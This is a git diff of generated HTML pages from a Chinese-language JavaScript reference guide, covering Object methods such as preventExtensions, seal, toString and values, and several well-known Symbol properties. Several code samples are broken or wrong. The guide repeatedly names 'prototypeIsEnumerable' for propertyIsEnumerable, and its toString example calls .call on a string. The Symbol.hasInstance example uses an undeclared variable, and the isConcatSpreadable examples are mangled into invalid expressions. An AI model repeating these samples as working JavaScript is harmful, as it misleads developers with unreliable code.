                                                                            preventExtensions<T>(o: T): T;
                                                                            }

                                                                            参数说明:

                                                                            参数说明类型
                                                                            o将标记为不可扩展的对象object

                                                                            返回值:

                                                                            返回处理后的对象。

                                                                            方法说明

                                                                            如果一个对象可以添加新的属性,则这个对象是可扩展的。

                                                                            Object.preventExtensions 能将对象标记为不可扩展,因此它将永远不会具有超出它被标记为不可扩展的 Properties。

                                                                            注意:一般来说,不可扩展对象的属性可能仍然可被删除。

                                                                            该方法仅阻止添加自身的属性。但属性仍然可以添加到对象原型。

                                                                            一旦使其不可扩展,就无法再对象进行扩展。

                                                                            代码示例

                                                                            字面量方式创建的对象默认是可扩展的。

                                                                            const foo = {};
                                                                            Object.isExtensible(foo);
                                                                            // true

                                                                            但是可以改变。

                                                                            Object.preventExtensions(foo);
                                                                            Object.isExtensible(foo);
                                                                            // false

                                                                            使用 Object.defineProperty 方法为一个可扩展的对象添加新属性会抛出异常。

                                                                            const nonExtensible = { removalbe: true };
                                                                            Object.preventExtensions(nonExtensible);
                                                                            -
                                                                            Object.defineProperty(nonExtensible, 'new', { value: 5678 });
                                                                            // throw TypeError Exception
                                                                            +
                                                                            Object.defineProperty(nonExtensible, 'new', { value: 5678 });
                                                                            // throw TypeError Exception

                                                                            参考资料

                                                                            - + diff --git a/standard-built-in-objects/fundamental-objects/object/property-is-enumerable/index.html b/standard-built-in-objects/fundamental-objects/object/property-is-enumerable/index.html index 48388b174..4e09ef354 100644 --- a/standard-built-in-objects/fundamental-objects/object/property-is-enumerable/index.html +++ b/standard-built-in-objects/fundamental-objects/object/property-is-enumerable/index.html @@ -7,45 +7,48 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + - Object.prototype.isPrototypeOf - JavaScript Guidebook + Object.prototype.prototypeIsEnumerable - JavaScript Guidebook -

                                                                            JavaScript Guidebook

                                                                            JavaScript 完全知识体系

                                                                            Object.prototype.prototypeIsEnumerable

                                                                            Object.prototype.prototypeIsEnumerable() 方法用于检测指定 Property 是否可枚举。

                                                                            语法

                                                                            O.prototype.prototypeIsEnumerable(V);
                                                                            参数说明类型
                                                                            V需要检测的 Property 键名string

                                                                            返回表示指定 Property 键名是否可枚举的 Boolean 类型值。

                                                                            示例

                                                                            基本示例

                                                                            const foo = {};
                                                                            const bar = [];
                                                                            +

                                                                            JavaScript Guidebook

                                                                            JavaScript 完全知识体系

                                                                            Object.prototype.prototypeIsEnumerable

                                                                            Object.prototype.prototypeIsEnumerable() 方法用于检测指定 Property 是否可枚举。

                                                                            语法

                                                                            语法:

                                                                            obj.prototypeIsEnumerable(V);

                                                                            参数说明:

                                                                            参数说明类型
                                                                            V需要检测的 Property 键名string

                                                                            返回值:

                                                                            返回表示指定 Property 键名是否可枚举的 Boolean 类型值。

                                                                            代码示例

                                                                            基本用法

                                                                            const foo = {};
                                                                            const bar = [];
                                                                            foo.a = 'is enumerable';
                                                                            bar[0] = 'is enumerable';
                                                                            foo.propertyIsEnumerable('a');
                                                                            // true
                                                                            bar.propertyIsEnumerable(0);
                                                                            // true

                                                                            自有属性与继承属性

                                                                            原型链上 的 Properties 不被 propertyIsEnumerable 考虑。

                                                                            const a = [];
                                                                            a.propertyIsEnumerable('constructor');
                                                                            function b() {
                                                                            this.property = 'b';
                                                                            }
                                                                            -
                                                                            b.prototype.firstMethod = function() {};
                                                                            +
                                                                            b.prototype.firstMethod = function () {};
                                                                            function c() {
                                                                            this.method = function method() {
                                                                            return 'c';
                                                                            };
                                                                            }
                                                                            c.prototype = new b();
                                                                            c.prototype.constructor = c;
                                                                            const d = new c();
                                                                            d.arbitraryProperty = 'd';
                                                                            d.prototypeIsEnumerable('arbitraryProperty');
                                                                            // true
                                                                            d.prototypeIsEnumerable('method');
                                                                            // true
                                                                            d.prototypeIsEnumerable('property');
                                                                            // false
                                                                            d.property = 'd';
                                                                            -
                                                                            d.prototypeIsEnumerable('property');
                                                                            // true
                                                                            +
                                                                            d.prototypeIsEnumerable('property');
                                                                            // true

                                                                            参考资料

                                                                            - + diff --git a/standard-built-in-objects/fundamental-objects/object/seal/index.html b/standard-built-in-objects/fundamental-objects/object/seal/index.html index e2306c85f..d88c8a933 100644 --- a/standard-built-in-objects/fundamental-objects/object/seal/index.html +++ b/standard-built-in-objects/fundamental-objects/object/seal/index.html @@ -7,39 +7,42 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + Object.seal - JavaScript Guidebook -

                                                                            JavaScript Guidebook

                                                                            JavaScript 完全知识体系

                                                                            Object.seal

                                                                            Object.seal 方法用于标识指定对象为不可扩展,且所有现有 Property 均不可配置。

                                                                            语法

                                                                            Object.seal(O);
                                                                            参数说明类型
                                                                            O将要被密封的对象object

                                                                            返回处理后的对象。

                                                                            示例

                                                                            Object.seal 处理后的对象将不可扩展。

                                                                            同时,现有的所有 Property 也不可配置(也就是不能修改 configurableenumerablewritable)。

                                                                            const foo = { a: 1, b: 2 };
                                                                            +

                                                                            JavaScript Guidebook

                                                                            JavaScript 完全知识体系

                                                                            Object.seal

                                                                            Object.seal 方法用于标识指定对象为不可扩展,且所有现有 Property 均不可配置。

                                                                            语法

                                                                            语法:

                                                                            Object.seal(o);

                                                                            类型声明:

                                                                            interface ObjectConstructor {
                                                                            seal<T>(o: T): T;
                                                                            }

                                                                            参数说明

                                                                            参数说明类型
                                                                            o将要被密封的对象object

                                                                            返回值:

                                                                            返回处理后的对象。

                                                                            代码示例

                                                                            Object.seal 处理后的对象将不可扩展。

                                                                            同时,现有的所有 Property 也不可配置(也就是不能修改 configurableenumerablewritable)。

                                                                            const foo = { a: 1, b: 2 };
                                                                            console.log(Object.getOwnPropertyDescriptors(foo));
                                                                            // {
                                                                            // a: { configurable: true, enumerable: true, writable: true }
                                                                            // b: { configurable: true, enumerable: true, writable: true }
                                                                            // }
                                                                            Object.seal(foo);
                                                                            foo.c = 3;
                                                                            console.log(foo);
                                                                            // { a: 1, b: 2}
                                                                            console.log(Object.isExtensible(foo));
                                                                            // false
                                                                            console.log(Object.getOwnPropertyDescriptors(foo));
                                                                            // {
                                                                            // a: { configurable: false, enumerable: true, writable: true }
                                                                            // b: { configurable: false, enumerable: true, writable: true }
                                                                            // }
                                                                            -
                                                                            console.log(Object.isSealed(foo));
                                                                            // true
                                                                            +
                                                                            console.log(Object.isSealed(foo));
                                                                            // true

                                                                            参考资料

                                                                            - + diff --git a/standard-built-in-objects/fundamental-objects/object/set-prototype-of/index.html b/standard-built-in-objects/fundamental-objects/object/set-prototype-of/index.html index 1f1336bd2..fe338ef6c 100644 --- a/standard-built-in-objects/fundamental-objects/object/set-prototype-of/index.html +++ b/standard-built-in-objects/fundamental-objects/object/set-prototype-of/index.html @@ -7,33 +7,36 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + Object.setPrototypeOf - JavaScript Guidebook -

                                                                            JavaScript Guidebook

                                                                            JavaScript 完全知识体系

                                                                            Object.setPrototypeOf

                                                                            Object.setPrototypeOf() 方法用于设置一个指定的对象的原型 ( 即,内部 [[Prototype]] 属性)到另一个对象或 null

                                                                            语法

                                                                            Object.setPrototypeOf(O, proto);
                                                                            参数说明类型
                                                                            O要设置其原型的对象object
                                                                            proto原型对象object

                                                                            返回设置原型后的对象。

                                                                            示例

                                                                            const foo = Object.setPrototypeOf({}, null);

                                                                            代码实现

                                                                            if (!Object.setPrototypeOf) {
                                                                            Object.setPrototypeOf = function() {};
                                                                            }
                                                                            +

                                                                            JavaScript Guidebook

                                                                            JavaScript 完全知识体系

                                                                            Object.setPrototypeOf

                                                                            Object.setPrototypeOf() 方法用于设置一个指定的对象的原型 ( 即,内部 [[Prototype]] 属性)到另一个对象或 null

                                                                            语法

                                                                            语法:

                                                                            Object.setPrototypeOf(o, proto);

                                                                            类型声明:

                                                                            interface ObjectConstructor {
                                                                            setPrototypeOf(o: any, proto: object | null): any;
                                                                            }

                                                                            参数说明:

                                                                            参数说明类型
                                                                            o要设置其原型的对象object
                                                                            proto原型对象object

                                                                            返回值:

                                                                            返回设置原型后的对象。

                                                                            代码示例

                                                                            if (!Object.setPrototypeOf) {
                                                                            Object.setPrototypeOf = function () {};
                                                                            }

                                                                            参考资料

                                                                            - + diff --git a/standard-built-in-objects/fundamental-objects/object/to-string/index.html b/standard-built-in-objects/fundamental-objects/object/to-string/index.html index 1bf441a01..ba9d7d03a 100644 --- a/standard-built-in-objects/fundamental-objects/object/to-string/index.html +++ b/standard-built-in-objects/fundamental-objects/object/to-string/index.html @@ -7,38 +7,41 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + - Object.prototype.isPrototypeOf - JavaScript Guidebook + Object.prototype.toString - JavaScript Guidebook -

                                                                            JavaScript Guidebook

                                                                            JavaScript 完全知识体系

                                                                            Object.prototype.toString

                                                                            Object.prototype.toString() 方法用于表示指定对象的字符串。

                                                                            语法

                                                                            O.prototype.toString();

                                                                            表示该对象的字符串。

                                                                            描述

                                                                            所有经过标准内置对象创建的值均能通过 toString() 方法获取 String 类型值。

                                                                            示例

                                                                            基本示例

                                                                            const foo = new Object();
                                                                            +

                                                                            JavaScript Guidebook

                                                                            JavaScript 完全知识体系

                                                                            Object.prototype.toString

                                                                            Object.prototype.toString() 方法用于表示指定对象的字符串。

                                                                            语法

                                                                            语法:

                                                                            obj.toString();

                                                                            类型声明:

                                                                            interface Object {
                                                                            toString(): string;
                                                                            }

                                                                            表示该对象的字符串。

                                                                            方法说明

                                                                            所有经过标准内置对象创建的值均能通过 toString() 方法获取 String 类型值。

                                                                            代码示例

                                                                            基本用法

                                                                            const foo = new Object();
                                                                            foo.toString();
                                                                            // [object Object]

                                                                            检测对象类型

                                                                            需要使用 Function.prototype.call()Function.prototype.apply() 的形式调用,输入需要检测的对象作为第一参数。

                                                                            const toString = Object.prototype.toString();
                                                                            toString.call(new Date());
                                                                            // [object Date]
                                                                            toString.call(new String());
                                                                            // [object String]
                                                                            toString.call(Math);
                                                                            // [object Math]
                                                                            -
                                                                            // Since JavaScript 1.8.5
                                                                            toString.call(undefined);
                                                                            // [object Undefined]
                                                                            toString.call(null);
                                                                            // [object Null]
                                                                            +
                                                                            // Since JavaScript 1.8.5
                                                                            toString.call(undefined);
                                                                            // [object Undefined]
                                                                            toString.call(null);
                                                                            // [object Null]
                                                                            - + diff --git a/standard-built-in-objects/fundamental-objects/object/values/index.html b/standard-built-in-objects/fundamental-objects/object/values/index.html index 87229f8d6..d2533a590 100644 --- a/standard-built-in-objects/fundamental-objects/object/values/index.html +++ b/standard-built-in-objects/fundamental-objects/object/values/index.html @@ -7,35 +7,38 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + Object.values - JavaScript Guidebook -

                                                                            JavaScript Guidebook

                                                                            JavaScript 完全知识体系

                                                                            Object.values

                                                                            ⭐️ ES2017(ES8)新特性

                                                                            Object.values() 方法用于指定对象自身的所有可枚举 Property 值的数组。

                                                                            语法

                                                                            语法:

                                                                            Object.values(obj);

                                                                            类型声明:

                                                                            interface ObjectConstructor {
                                                                            values<T>(o: { [s: string]: T } | ArrayLike<T>): T[];
                                                                            -
                                                                            values(o: {}): any[];
                                                                            }

                                                                            参数说明:

                                                                            参数说明类型
                                                                            obj指定对象object

                                                                            返回对象可枚举 Property 值的数组集合。

                                                                            方法说明

                                                                            返回的数组中键值的顺序与使用循环语句获取的键值组合一致。

                                                                            代码示例

                                                                            const obj = {
                                                                            a: '1',
                                                                            b: '2',
                                                                            c: '3',
                                                                            };
                                                                            -
                                                                            console.log(Object.values(obj));
                                                                            // ['1', '2', '3']

                                                                            参考资料

                                                                            +

                                                                            JavaScript Guidebook

                                                                            JavaScript 完全知识体系

                                                                            Object.values

                                                                            ⭐️ ES2017(ES8)新特性

                                                                            Object.values() 方法用于指定对象自身的所有可枚举 Property 值的数组。

                                                                            语法

                                                                            语法:

                                                                            Object.values(obj);

                                                                            类型声明:

                                                                            interface ObjectConstructor {
                                                                            values<T>(o: { [s: string]: T } | ArrayLike<T>): T[];
                                                                            +
                                                                            values(o: {}): any[];
                                                                            }

                                                                            参数说明:

                                                                            参数说明类型
                                                                            obj指定对象object

                                                                            返回对象可枚举 Property 值的数组集合。

                                                                            方法说明

                                                                            返回的数组中键值的顺序与使用循环语句获取的键值组合一致。

                                                                            代码示例

                                                                            const obj = {
                                                                            a: '1',
                                                                            b: '2',
                                                                            c: '3',
                                                                            };
                                                                            +
                                                                            console.log(Object.values(obj));
                                                                            // ['1', '2', '3']

                                                                            参考资料

                                                                            - + diff --git a/standard-built-in-objects/fundamental-objects/symbol/description/index.html b/standard-built-in-objects/fundamental-objects/symbol/description/index.html new file mode 100644 index 000000000..fe6f59e04 --- /dev/null +++ b/standard-built-in-objects/fundamental-objects/symbol/description/index.html @@ -0,0 +1,45 @@ + + + + + + + + + + + Symbol.prototype.description - JavaScript Guidebook + + +

                                                                            JavaScript Guidebook

                                                                            JavaScript 完全知识体系

                                                                            Symbol.prototype.description

                                                                            Symbol.prototype.description 为一个只读属性,它会返回 Symbol 对象的可选描述的字符串。

                                                                            属性说明

                                                                            Symbol 对象可以通过一个可选的描述创建,可用于调试,但不能用于访问 Symbol 本身。Symbol.prototype.description 属性可以用于读取该描述。与 Symbol.prototype.toString() 不同的是它不会包含 Symbol() 的字符串。具体请看实例。

                                                                            代码示例

                                                                            console.log(Symbol('desc').description);
                                                                            // expected output: "desc"
                                                                            +
                                                                            console.log(Symbol.iterator.description);
                                                                            // expected output: "Symbol.iterator"
                                                                            +
                                                                            console.log(Symbol.for('foo').description);
                                                                            // expected output: "foo"
                                                                            +
                                                                            console.log(`${Symbol('foo').description}bar`);
                                                                            // expected output: "foobar"

                                                                            参考资料

                                                                            + + + + + diff --git a/standard-built-in-objects/fundamental-objects/symbol/has-instance/index.html b/standard-built-in-objects/fundamental-objects/symbol/has-instance/index.html index e52c81265..fc5bf38ac 100644 --- a/standard-built-in-objects/fundamental-objects/symbol/has-instance/index.html +++ b/standard-built-in-objects/fundamental-objects/symbol/has-instance/index.html @@ -7,34 +7,37 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + Symbol.hasInstance - JavaScript Guidebook -

                                                                            JavaScript Guidebook

                                                                            JavaScript 完全知识体系

                                                                              Symbol.hasInstance

                                                                              Symbol.hasInstance 用于判断某对象是否为某构造器的实例。当其他对象使用 instanceof 运算符,判断是否为该对象的实例时,会调用这个方法。

                                                                              class MyArray {
                                                                              static [Symbol.hasInstance]() {
                                                                              return Array.isArray(instance);
                                                                              }
                                                                              }
                                                                              -
                                                                              [] instanceof new MyArray(); // true
                                                                              +

                                                                              JavaScript Guidebook

                                                                              JavaScript 完全知识体系

                                                                                Symbol.hasInstance

                                                                                Symbol.hasInstance 用于判断某对象是否为某构造器的实例。当其他对象使用 instanceof 运算符,判断是否为该对象的实例时,会调用这个方法。

                                                                                class MyArray {
                                                                                static [Symbol.hasInstance]() {
                                                                                return Array.isArray(instance);
                                                                                }
                                                                                }
                                                                                +
                                                                                [] instanceof new MyArray(); // true
                                                                                - + diff --git a/standard-built-in-objects/fundamental-objects/symbol/index.html b/standard-built-in-objects/fundamental-objects/symbol/index.html index 33d889f32..6218807d1 100644 --- a/standard-built-in-objects/fundamental-objects/symbol/index.html +++ b/standard-built-in-objects/fundamental-objects/symbol/index.html @@ -7,33 +7,36 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + JavaScript Guidebook -

                                                                                JavaScript Guidebook

                                                                                JavaScript 完全知识体系

                                                                                +

                                                                                JavaScript Guidebook

                                                                                JavaScript 完全知识体系

                                                                                - + diff --git a/standard-built-in-objects/fundamental-objects/symbol/is-concat-spreadable/index.html b/standard-built-in-objects/fundamental-objects/symbol/is-concat-spreadable/index.html index fb30a7174..eb3adba72 100644 --- a/standard-built-in-objects/fundamental-objects/symbol/is-concat-spreadable/index.html +++ b/standard-built-in-objects/fundamental-objects/symbol/is-concat-spreadable/index.html @@ -7,35 +7,38 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + Symbol.isConcatSpreadable - JavaScript Guidebook -

                                                                                JavaScript Guidebook

                                                                                JavaScript 完全知识体系

                                                                                  Symbol.isConcatSpreadable

                                                                                  Symbol.isConcatSpreadable 用于配置某对象作为 Array.prototype.concat() 方法的参数时是否展开其数组元素。

                                                                                  let s1 = ['c', 'd'][('a', 'b')].concat(s1, 'e'); // ['a', 'b', 'c', 'd', 'e']
                                                                                  s1[Symbol.isConcatSpreadable]; // undefined
                                                                                  +

                                                                                  JavaScript Guidebook

                                                                                  JavaScript 完全知识体系

                                                                                    Symbol.isConcatSpreadable

                                                                                    Symbol.isConcatSpreadable 用于配置某对象作为 Array.prototype.concat() 方法的参数时是否展开其数组元素。

                                                                                    let s1 = ['c', 'd'][('a', 'b')].concat(s1, 'e'); // ['a', 'b', 'c', 'd', 'e']
                                                                                    s1[Symbol.isConcatSpreadable]; // undefined
                                                                                    let s2 = ['c', 'd'];
                                                                                    s2[Symbol.isConcatSpreadable] = false[('a', 'b')].concat(s2, 'e'); // ['a', 'b', ['c', 'd'], 'e']

                                                                                    上面代码说明,数组的默认行为时可以展开,Symbol.isConcatSpreadable 默认等于 undefined。该属性等于 ture 时,也有展开的效果。

                                                                                    类似数组的对象正好相反,默认不展开。它的 Symbol.isConcatSpreadable 属性设为 true,才可以展开。

                                                                                    let obj = { length: 2, 0: 'c', 1: 'd' };
                                                                                    ['a', 'b'].concat(obj, 'e'); // ['a', 'b', obj, 'e']
                                                                                    -
                                                                                    obj[Symbol.isConcatSpreadable] = true;
                                                                                    ['a', 'b'].concat(obj, 'e'); // ['a', 'b', 'c', 'd', 'e']
                                                                                    +
                                                                                    obj[Symbol.isConcatSpreadable] = true;
                                                                                    ['a', 'b'].concat(obj, 'e'); // ['a', 'b', 'c', 'd', 'e']
                                                                                    - + diff --git a/standard-built-in-objects/fundamental-objects/symbol/iterator/index.html b/standard-built-in-objects/fundamental-objects/symbol/iterator/index.html index eb4333b55..53592e4a8 100644 --- a/standard-built-in-objects/fundamental-objects/symbol/iterator/index.html +++ b/standard-built-in-objects/fundamental-objects/symbol/iterator/index.html @@ -7,36 +7,39 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + Symbol.iterator - JavaScript Guidebook -

                                                                                    JavaScript Guidebook

                                                                                    JavaScript 完全知识体系

                                                                                      Symbol.iterator

                                                                                      对象的 Symbol.iterator 属性,指向该对象的默认遍历器方法。

                                                                                      const myIterable = {};
                                                                                      myIterable[Symbol.iterator] = function*() {
                                                                                      yield 1;
                                                                                      yield 2;
                                                                                      yield 3;
                                                                                      };
                                                                                      +

                                                                                      JavaScript Guidebook

                                                                                      JavaScript 完全知识体系

                                                                                        Symbol.iterator

                                                                                        对象的 Symbol.iterator 属性,指向该对象的默认遍历器方法。

                                                                                        const myIterable = {};
                                                                                        myIterable[Symbol.iterator] = function*() {
                                                                                        yield 1;
                                                                                        yield 2;
                                                                                        yield 3;
                                                                                        };
                                                                                        [...myIterable]; // [1, 2, 3]

                                                                                        对象进行 for...of 循环时,会调用 Symbol.iterator 方法,返回该对象的默认遍历器。

                                                                                        class Collection {
                                                                                        *[Symbol.iterator]() {
                                                                                        let i = 0;
                                                                                        while (this[i] !== undefined) {
                                                                                        yield this[i];
                                                                                        ++i;
                                                                                        }
                                                                                        }
                                                                                        }
                                                                                        let myCollection = new Collection();
                                                                                        myCollection[0] = 1;
                                                                                        myCollection[1] = 2;
                                                                                        -
                                                                                        for (let value of myCollection) {
                                                                                        console.log(value);
                                                                                        }
                                                                                        // 1
                                                                                        // 2
                                                                                        +
                                                                                        for (let value of myCollection) {
                                                                                        console.log(value);
                                                                                        }
                                                                                        // 1
                                                                                        // 2
                                                                                        - + diff --git a/standard-built-in-objects/fundamental-objects/symbol/match/index.html b/standard-built-in-objects/fundamental-objects/symbol/match/index.html index 7c79630d1..84c960bb1 100644 --- a/standard-built-in-objects/fundamental-objects/symbol/match/index.html +++ b/standard-built-in-objects/fundamental-objects/symbol/match/index.html @@ -7,35 +7,38 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + Symbol.match - JavaScript Guidebook -

                                                                                        JavaScript Guidebook

                                                                                        JavaScript 完全知识体系

                                                                                          Symbol.match

                                                                                          对象的 Symbol.match 属性,指向一个函数。

                                                                                          String.prototype.match(regexp);
                                                                                          // 等同于
                                                                                          regexp[Symbol.match](this);
                                                                                          +

                                                                                          JavaScript Guidebook

                                                                                          JavaScript 完全知识体系

                                                                                            Symbol.match

                                                                                            对象的 Symbol.match 属性,指向一个函数。

                                                                                            String.prototype.match(regexp);
                                                                                            // 等同于
                                                                                            regexp[Symbol.match](this);
                                                                                            class MyMatcher {
                                                                                            [Symbol.match](string) {
                                                                                            return 'hello world'.indexOf(string);
                                                                                            }
                                                                                            }
                                                                                            -
                                                                                            'e'.match(new MyMatcher()); // 1
                                                                                            +
                                                                                            'e'.match(new MyMatcher()); // 1
                                                                                            - + diff --git a/standard-built-in-objects/fundamental-objects/symbol/replace/index.html b/standard-built-in-objects/fundamental-objects/symbol/replace/index.html index bdbac01aa..671d63c00 100644 --- a/standard-built-in-objects/fundamental-objects/symbol/replace/index.html +++ b/standard-built-in-objects/fundamental-objects/symbol/replace/index.html @@ -7,34 +7,37 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + Symbol.replace - JavaScript Guidebook -

                                                                                            JavaScript Guidebook

                                                                                            JavaScript 完全知识体系

                                                                                              Symbol.replace

                                                                                              对象的 Symbol.replace 属性,指向一个方法,当该对象被 String.prototype.replace 方法调用时,会返回该方法的返回值。

                                                                                              String.prototype.replace(searchValue, replaceValue);
                                                                                              // 等同于
                                                                                              searchValue[Symbol.replace](this, replaceValue);

                                                                                              下面是例子。

                                                                                              const x = {};
                                                                                              x[Symbol.replace] = (...s) => console.log(s);
                                                                                              -
                                                                                              'Hello'.replace(x, 'World'); // []

                                                                                              Symbol.replace 方法会收到两个参数,第一个参数是 replace 方法正在作用的对象,上面例子是 Hello,第二个参数是替换后的值,上面例子是 World

                                                                                              +

                                                                                              JavaScript Guidebook

                                                                                              JavaScript 完全知识体系

                                                                                                Symbol.replace

                                                                                                对象的 Symbol.replace 属性,指向一个方法,当该对象被 String.prototype.replace 方法调用时,会返回该方法的返回值。

                                                                                                String.prototype.replace(searchValue, replaceValue);
                                                                                                // 等同于
                                                                                                searchValue[Symbol.replace](this, replaceValue);

                                                                                                下面是例子。

                                                                                                const x = {};
                                                                                                x[Symbol.replace] = (...s) => console.log(s);
                                                                                                +
                                                                                                'Hello'.replace(x, 'World'); // []

                                                                                                Symbol.replace 方法会收到两个参数,第一个参数是 replace 方法正在作用的对象,上面例子是 Hello,第二个参数是替换后的值,上面例子是 World

                                                                                                - + diff --git a/standard-built-in-objects/fundamental-objects/symbol/search/index.html b/standard-built-in-objects/fundamental-objects/symbol/search/index.html index f5c58fc67..f6b7a74f3 100644 --- a/standard-built-in-objects/fundamental-objects/symbol/search/index.html +++ b/standard-built-in-objects/fundamental-objects/symbol/search/index.html @@ -7,35 +7,38 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + Symbol.search - JavaScript Guidebook -

                                                                                                JavaScript Guidebook

                                                                                                JavaScript 完全知识体系

                                                                                                  Symbol.search

                                                                                                  对象的 Symbol.search 属性,指向一个方法,当该对象被 String.prototype.search 方法调用时,会返回该方法的返回值。

                                                                                                  String.prototype.search(regexp);
                                                                                                  // 等同于
                                                                                                  regexp[Symbol.search](this);
                                                                                                  +

                                                                                                  JavaScript Guidebook

                                                                                                  JavaScript 完全知识体系

                                                                                                    Symbol.search

                                                                                                    对象的 Symbol.search 属性,指向一个方法,当该对象被 String.prototype.search 方法调用时,会返回该方法的返回值。

                                                                                                    String.prototype.search(regexp);
                                                                                                    // 等同于
                                                                                                    regexp[Symbol.search](this);
                                                                                                    class MySearch {
                                                                                                    constructor(value) {
                                                                                                    this.value = value;
                                                                                                    }
                                                                                                    [Symbol.search](string) {
                                                                                                    return string.indexOf(this.value);
                                                                                                    }
                                                                                                    }
                                                                                                    -
                                                                                                    'foobar'.search(new MySearch('foo')); // 0
                                                                                                    +
                                                                                                    'foobar'.search(new MySearch('foo')); // 0
                                                                                                    - + diff --git a/standard-built-in-objects/fundamental-objects/symbol/species/index.html b/standard-built-in-objects/fundamental-objects/symbol/species/index.html index 1c78c243b..76fe9a1cb 100644 --- a/standard-built-in-objects/fundamental-objects/symbol/species/index.html +++ b/standard-built-in-objects/fundamental-objects/symbol/species/index.html @@ -7,37 +7,40 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + Symbol.species - JavaScript Guidebook -

                                                                                                    JavaScript Guidebook

                                                                                                    JavaScript 完全知识体系

                                                                                                      Symbol.species

                                                                                                      对象的 Symbol.species 属性,指向一个构造函数,创建衍生对象时,会使用该属性。

                                                                                                      class MyArray extends Array {}
                                                                                                      +

                                                                                                      JavaScript Guidebook

                                                                                                      JavaScript 完全知识体系

                                                                                                        Symbol.species

                                                                                                        对象的 Symbol.species 属性,指向一个构造函数,创建衍生对象时,会使用该属性。

                                                                                                        class MyArray extends Array {}
                                                                                                        const a = new MyArray(1, 2, 3);
                                                                                                        const b = a.map(x => x);
                                                                                                        const c = a.filter(x => x > 1);
                                                                                                        b instanceof MyArray; // true
                                                                                                        c instanceof MyArray; // true

                                                                                                        MyArray 设置 Symbol.species 属性

                                                                                                        class MyArray extends Array {
                                                                                                        static get [Symbol.species]() {
                                                                                                        return Array;
                                                                                                        }
                                                                                                        }

                                                                                                        上述代码中,由于定义了 Symbol.species 属性,创建衍生对象时就会使用这个属性返回的函数,作为构造函数。这个例子说明,定义 Symbol.species 属性要采用 get 取值器。默认的 Symbol.species 属性等同于下面的写法。

                                                                                                        static get [Symbol.species]() {
                                                                                                        return this
                                                                                                        }
                                                                                                        class MyArray extends Array {
                                                                                                        static get [Symbol.species]() {
                                                                                                        return Array;
                                                                                                        }
                                                                                                        }
                                                                                                        const a = new MyArray();
                                                                                                        const b = a.map(x => x);
                                                                                                        -
                                                                                                        b instanceof MyArray; // false
                                                                                                        b instanceof Array; // true

                                                                                                        上述代码中,a.map(x => x) 生成的衍生对象,就不是 MyArray 的实例,而直接就是 Array 的实例。

                                                                                                        +
                                                                                                        b instanceof MyArray; // false
                                                                                                        b instanceof Array; // true

                                                                                                        上述代码中,a.map(x => x) 生成的衍生对象,就不是 MyArray 的实例,而直接就是 Array 的实例。

                                                                                                        - + diff --git a/standard-built-in-objects/fundamental-objects/symbol/split/index.html b/standard-built-in-objects/fundamental-objects/symbol/split/index.html index 7597d70d9..b82c31cfe 100644 --- a/standard-built-in-objects/fundamental-objects/symbol/split/index.html +++ b/standard-built-in-objects/fundamental-objects/symbol/split/index.html @@ -7,36 +7,39 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + Symbol.split - JavaScript Guidebook -

                                                                                                        JavaScript Guidebook

                                                                                                        JavaScript 完全知识体系

                                                                                                          Symbol.split

                                                                                                          对象的 Symbol.split 属性,指向一个方法,当该对象被 String.prototype.split 方法调用时,会返回该方法的返回值。

                                                                                                          String.prototype.split(separator, limit);
                                                                                                          // 等同于
                                                                                                          separator[Symbol.split](this, limit);
                                                                                                          class MySplitter {
                                                                                                          constructor(value) {
                                                                                                          this.value = value;
                                                                                                          }
                                                                                                          [Symbol.split](string) {
                                                                                                          let index = string.indexOf(this.value);
                                                                                                          if (index === -1) {
                                                                                                          return string;
                                                                                                          }
                                                                                                          return [string.substr(0, index), string.substr(index + this.value.length)];
                                                                                                          }
                                                                                                          }
                                                                                                          +

                                                                                                          JavaScript Guidebook

                                                                                                          JavaScript 完全知识体系

                                                                                                            Symbol.split

                                                                                                            对象的 Symbol.split 属性,指向一个方法,当该对象被 String.prototype.split 方法调用时,会返回该方法的返回值。

                                                                                                            String.prototype.split(separator, limit);
                                                                                                            // 等同于
                                                                                                            separator[Symbol.split](this, limit);
                                                                                                            class MySplitter {
                                                                                                            constructor(value) {
                                                                                                            this.value = value;
                                                                                                            }
                                                                                                            [Symbol.split](string) {
                                                                                                            let index = string.indexOf(this.value);
                                                                                                            if (index === -1) {
                                                                                                            return string;
                                                                                                            }
                                                                                                            return [string.substr(0, index), string.substr(index + this.value.length)];
                                                                                                            }
                                                                                                            }
                                                                                                            'foobar'.split(new MySplitter('foo')); // ['', 'bar']
                                                                                                            'foobar'.split(new MySplitter('bar')); // ['foo', '']
                                                                                                            -
                                                                                                            'foobar'.split(new MySplitter('baz')); // 'foobar'

                                                                                                            上面方法使用 Symbol.split 方法,重新定义了字符串对象的 split 方法的行为。

                                                                                                            +
                                                                                                            'foobar'.split(new MySplitter('baz')); // 'foobar'

                                                                                                            上面方法使用 Symbol.split 方法,重新定义了字符串对象的 split 方法的行为。

                                                                                                            - + diff --git a/standard-built-in-objects/fundamental-objects/symbol/symbol/index.html b/standard-built-in-objects/fundamental-objects/symbol/symbol/index.html index 6ae658f90..4e5ec3651 100644 --- a/standard-built-in-objects/fundamental-objects/symbol/symbol/index.html +++ b/standard-built-in-objects/fundamental-objects/symbol/symbol/index.html @@ -7,29 +7,36 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + Symbol - JavaScript Guidebook -

                                                                                                            JavaScript Guidebook

